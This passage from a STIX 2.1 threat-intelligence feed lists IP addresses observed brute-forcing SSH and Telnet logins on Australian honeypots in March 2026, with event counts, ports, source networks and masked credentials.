      "valid_from": "2026-03-16T14:15:14.000Z",
      "valid_until": "2026-04-17T14:15:12.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 529. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, s*****t, d*******r, t**t. Passwords observed (masked): a***n, p******d, 1****6, 1**4, 1******8.",
      "id": "indicator--733ec9f9-d54f-4271-88a0-212d113621a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.99.170.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--6f53a1ce-23f6-42da-bf4b-a7d1bb70d9f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.157.131.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): n******n, 3**********4, ***, d********r, e*****n. Passwords observed (masked): 1***5, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--b83280a3-3aa4-4720-b5fa-adaa2c59d9b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.58.213.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4685. Organisation(s): Asahi Net.",
      "id": "indicator--33064f6a-2b8d-44b2-9204-b22ce7e31087",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.107.200.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****3, 1**4, 1***5, 1****6, 1******8.",
      "id": "indicator--d48f8c81-56fd-4a4a-8934-811d72e81552",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.90.201.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, r***t, a*****r, a***o. Passwords observed (masked): 3***********4, 3**********4, 1**4, A******3, F*******@.",
      "id": "indicator--4b029370-471d-4bac-9281-fe26d2734477",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 523. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, u**t, c***o, m*****r. Passwords observed (masked): 1**4, 1****6, 0**************D, 1***5, 0*************7.",
      "id": "indicator--09157ad7-a476-4034-a0ca-83e95ce11f25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.179.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, H*******!, a*****3.",
      "id": "indicator--391da19f-e48a-4f46-b096-793be26847cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.245.126.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 34984. Organisation(s): Superonline Iletisim Hizmetleri A.S..",
      "id": "indicator--8be2e75c-4122-421e-bf12-be030fdf17a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.40.125.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--01e0fb54-e98d-47d7-a504-dbd72fcc8d74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.16.179.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 8452. Organisation(s): TE Data. Usernames observed (masked): g*****e, r**t, 3**********4, d***s, h***u. Passwords observed (masked): 1***5, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--8122c05d-2757-4aec-8bc7-d2cd1de5fe2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '196.218.222.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--63a94ce0-c75c-4092-b992-f8ec72794c6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.73.37.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c5ca555a-9495-4565-be11-58a016c1122a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.255.33.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 41436. Organisation(s): Kamatera Inc. Usernames observed (masked): r**t, 3**********4, r***t, a*****r, a***o. Passwords observed (masked): 3***********4, 3**********4, 1**4, A******3, F*******@.",
      "id": "indicator--4f0e7ab5-c4a2-4520-953d-225a834162e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.180.183.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T15:15:14.000Z",
      "valid_until": "2026-04-17T15:15:11.000Z"
    },
    {
      "created": "2026-03-16T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--94b91253-23d2-48bd-a05f-f9651e2cc163",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T16:15:14.000Z",
      "valid_until": "2026-04-17T16:15:12.000Z"
    },
    {
      "created": "2026-03-16T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): z********g, 3**********4, a***n, a***e, b***n. Passwords observed (masked): 1**4, 3***********4, 3**********4, A*******., A******3.",
      "id": "indicator--1210a176-3f27-4982-8559-fad9d7d5d274",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.238.119.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T16:15:14.000Z",
      "valid_until": "2026-04-17T16:15:12.000Z"
    },
    {
      "created": "2026-03-16T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9f58df99-f898-488f-adf4-b80fefdd3d31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.179.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T16:15:14.000Z",
      "valid_until": "2026-04-17T16:15:12.000Z"
    },
    {
      "created": "2026-03-16T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--356729cb-aa26-4188-bc93-6972983f1de3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.209.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T16:15:14.000Z",
      "valid_until": "2026-04-17T16:15:12.000Z"
    },
    {
      "created": "2026-03-16T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e70e019e-4043-4583-adce-17e3c0de3f9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T16:15:14.000Z",
      "valid_until": "2026-04-17T16:15:12.000Z"
    },
    {
      "created": "2026-03-16T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 105. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): u******2, 3**********4, c****y, ***, r**t. Passwords observed (masked): 1**4, 3***********4, 3**********4, A*********9, C********!.",
      "id": "indicator--0c3c36bf-49bb-4614-8f09-d0347a0a7742",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '4.246.204.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T16:15:14.000Z",
      "valid_until": "2026-04-17T16:15:12.000Z"
    },
    {
      "created": "2026-03-16T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--ba3eaedd-3d3c-4527-9257-2dab3ef46599",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.168.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T16:15:14.000Z",
      "valid_until": "2026-04-17T16:15:12.000Z"
    },
    {
      "created": "2026-03-16T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--5309b7e3-2cdc-43a2-9213-f808477ce062",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.36.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T16:15:14.000Z",
      "valid_until": "2026-04-17T16:15:12.000Z"
    },
    {
      "created": "2026-03-16T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 104. Sensors involved: Cowrie, Fatt. Target ports: 22, 80, 443, 110, 143. Source country: SG. ASN(s): 26496. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): a***n, ***. Passwords observed (masked): a*******6, 1****1, 1****7, 5*****4, 8*****8.",
      "id": "indicator--ffd8fe45-e913-4577-b14e-a67f7ae7cdb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.139.180.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T17:15:14.000Z",
      "valid_until": "2026-04-17T17:15:12.000Z"
    },
    {
      "created": "2026-03-16T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--cb52e5ee-fdaa-4785-8ea4-0d0c12cdec07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T17:15:14.000Z",
      "valid_until": "2026-04-17T17:15:12.000Z"
    },
    {
      "created": "2026-03-16T17:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--d3b79e12-3e88-4cf9-bdc4-119c28865e35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T17:15:14.000Z",
      "valid_until": "2026-04-17T17:15:12.000Z"
    },
    {
      "created": "2026-03-16T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22, 80, 443, 110, 143. Source country: HK. ASN(s): 133380. Organisation(s): Layerstack Limited. Usernames observed (masked): a***n, ***. Passwords observed (masked): a*******6, 1****1, 1****7, 5*****4, 8*****8.",
      "id": "indicator--5d4c0c02-7ad5-4d59-98d7-d1eb4e4f0c11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.86.233.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T17:15:14.000Z",
      "valid_until": "2026-04-17T17:15:12.000Z"
    },
    {
      "created": "2026-03-16T17:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1602. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r**t, k******h, b*************g. Passwords observed (masked): 1**4, 1***5, 1****6, 1*****7, 1*******9.",
      "id": "indicator--a9b84e3b-4933-4f7c-a06a-fcbc7b76ce95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T17:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T17:15:14.000Z",
      "valid_until": "2026-04-17T17:15:12.000Z"
    },
    {
      "created": "2026-03-16T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4, a*******r, e**r, h**n. Passwords observed (masked): p******d, ***, 1******8, 3***********4, 3**********4.",
      "id": "indicator--524eb44b-72a3-4ce2-ad55-4a65c2de145f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.146.159.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T18:15:12.000Z",
      "valid_until": "2026-04-17T18:15:03.000Z"
    },
    {
      "created": "2026-03-16T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): u****u, 3**********4, a****r, d****r, m**s. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, P******d.",
      "id": "indicator--7eb5d021-af8f-40d2-a341-e6d34df417c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.142.87.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T18:15:12.000Z",
      "valid_until": "2026-04-17T18:15:03.000Z"
    },
    {
      "created": "2026-03-16T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53231. Organisation(s): GRUPOHOST COMUNICACAO MULTIMIDIA LTDA.",
      "id": "indicator--af4af0ca-60c1-421f-b381-34b4be755277",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.8.175.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T18:15:12.000Z",
      "valid_until": "2026-04-17T18:15:03.000Z"
    },
    {
      "created": "2026-03-16T19:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): e*****e, 3**********4, a***l, c*******n, d**o. Passwords observed (masked): ***, 1****6, 1******8, 1**4, 3***********4.",
      "id": "indicator--ef952c58-445d-4537-9f56-9c435ff286d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T19:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.142.37.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T19:15:38.000Z",
      "valid_until": "2026-04-17T19:15:11.000Z"
    },
    {
      "created": "2026-03-16T19:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, b*****n, c***s, c***s, d**o. Passwords observed (masked): ***, 1****6, 1****0, @**@, A******3.",
      "id": "indicator--653665a1-baa5-4a25-b1b0-7d2951b8cabb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T19:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.97.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T19:15:38.000Z",
      "valid_until": "2026-04-17T19:15:11.000Z"
    },
    {
      "created": "2026-03-16T19:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 244. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***e, a***n, a**x, a****d. Passwords observed (masked): 1****6, ***, ***, 1**4, 1******8.",
      "id": "indicator--c9588939-2bcd-4bb9-9704-7aeab9dfd992",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T19:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.200.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T19:15:38.000Z",
      "valid_until": "2026-04-17T19:15:11.000Z"
    },
    {
      "created": "2026-03-16T19:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7e2e2ead-211b-4816-b3d0-22ef93a08a20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T19:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.203.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T19:15:38.000Z",
